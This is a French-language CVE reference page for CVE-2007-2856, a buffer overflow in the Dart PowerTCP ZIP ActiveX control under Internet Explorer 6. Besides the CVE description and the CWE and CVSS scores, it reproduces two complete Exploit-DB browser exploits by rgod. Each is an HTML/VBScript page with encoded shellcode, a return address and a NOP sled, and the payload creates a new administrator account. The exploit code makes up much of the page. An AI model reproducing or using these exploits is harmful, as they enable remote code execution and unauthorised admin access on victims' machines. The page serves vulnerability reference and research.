CVE-2007-2856 : Détail

CVE-2007-2856

Overflow
15.58%V4
Network
2007-05-24
17h00 +00:00
2018-10-16
12h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Buffer overflow in the Dart Communications PowerTCP ZIP Compression ActiveX control in DartZip.dll 1.8.5.3, when Internet Explorer 6 is used, allows user-assisted remote attackers to execute arbitrary code via a long first argument to the QuickZip function, a related issue to CVE-2007-2855.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 3982

Date de publication : 2007-05-23 22h00 +00:00
Auteur : rgod
EDB Vérifié : Yes

<!-- IE 6 / Dart Communications PowerTCP Service Control (DartService.dll 3.1.3.3) remote buffer overflow exploit / xp sp2 ita ver by rgod site: retrogod.altervista.org software site: www.dart.com Install, Uninstall methods are vulnerable shellcode is executed after the browser window is closed, no crash more chars cause an heap overflow Sometimes you will see an about box popping, code is executed aswell Adjusting to another windows language version is very tricky, use the same logic --> <html> <object classid='clsid:13F4DEDE-D19F-11D2-BA94-0040053687FE' id='Service' ></object> <script language='vbscript'> 'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") nop = unescape("%90%90%90%90") eip = unescape("%1e%a6%3e%7e") 'call edi user32.dll patch = unescape("%01%04%04%90") jmp = unescape("%e9%27%fe%ff%ff") 'jmp near shellcode argh = "aaaa" + nop + shellcode + eip + patch + jmp Service.Uninstall argh </script> </html> # milw0rm.com [2007-05-24]
Exploit Database EDB-ID : 3984

Date de publication : 2007-05-24 22h00 +00:00
Auteur : rgod
EDB Vérifié : Yes

<!-- IE 6 / Dart Communications PowerTCP ZIP Compression Control (DartZip.dll 1.8.5.3) remote buffer overflow exploit / xp sp2 it by rgod site: retrogod.altervista.org software site: www.dart.com --> <html> <object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE99D4DD' id='DartZip'></object> <script language='vbscript'> 'metasploit one, add a user 'sun' with pass 'tzu' shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54%42%30%42%30%42%30%4b%58%45%44%4e%43%4b%38%4e%57%45%50%4a%37%41%50%4f%4e%4b%48%4f%44%4a%51%4b%48%4f%45%42%42%41%50%4b%4e%49%34%4b%48%46%43%4b%38%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%58%42%4c%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e%46%4f%4b%33%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%35%46%32%41%30%4b%4e%48%56%4b%48%4e%50%4b%54%4b%38%4f%35%4e%41%41%50%4b%4e%4b%38%4e%51%4b%38%41%30%4b%4e%49%38%4e%45%46%42%46%50%43%4c%41%43%42%4c%46%46%4b%58%42%44%42%33%45%48%42%4c%4a%57%4e%50%4b%38%42%54%4e%30%4b%38%42%37%4e%41%4d%4a%4b%58%4a%36%4a%30%4b%4e%49%50%4b%58%42%38%42%4b%42%50%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%53%48%4f%42%36%48%55%49%48%4a%4f%43%58%42%4c%4b%47%42%45%4a%36%42%4f%4c%58%46%30%4f%45%4a%46%4a%49%50%4f%4c%38%50%30%47%45%4f%4f%47%4e%43%36%4d%56%46%36%50%32%45%46%4a%47%45%56%42%52%4f%52%43%36%42%52%50%46%45%56%46%47%42%52%45%47%43%37%45%56%44%57%42%42%43%57%45%47%50%56%42%52%46%47%4c%37%45%47%42%52%4f%42%41%34%46%34%46%54%42%42%48%42%48%32%42%52%50%46%45%36%46%57%42%52%4e%46%4f%36%43%56%41%46%4e%36%47%56%44%47%4f%36%45%57%42%37%42%52%41%54%46%46%4d%56%49%46%50%56%49%36%43%37%46%47%44%37%41%56%46%47%4f%56%44%37%43%37%42%52%43%57%45%57%50%46%42%42%4f%32%41%34%46%54%46%54%42%50%5a") EIP = unescape("%67%31%41%7e") 'call esp user32.dll Source=String(1024, "A") + EIP + String(36, unescape("%90")) + shellcode + String(24, unescape("%90")) Destination="default" IncludeSubs=True PreservePath=True Password="default" Encryption=1 DartZip.QuickZip Source ,Destination ,IncludeSubs ,PreservePath ,Password ,Encryption </script> </html> # milw0rm.com [2007-05-25]

Products Mentioned

Configuraton 0

Dart>>Powertcp_zip_compression >> Version 1.8.5.3

Microsoft>>Internet_explorer >> Version 6

Références

http://osvdb.org/38111
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/24163
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/bid/24142
Tags : vdb-entry, x_refsource_BID
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.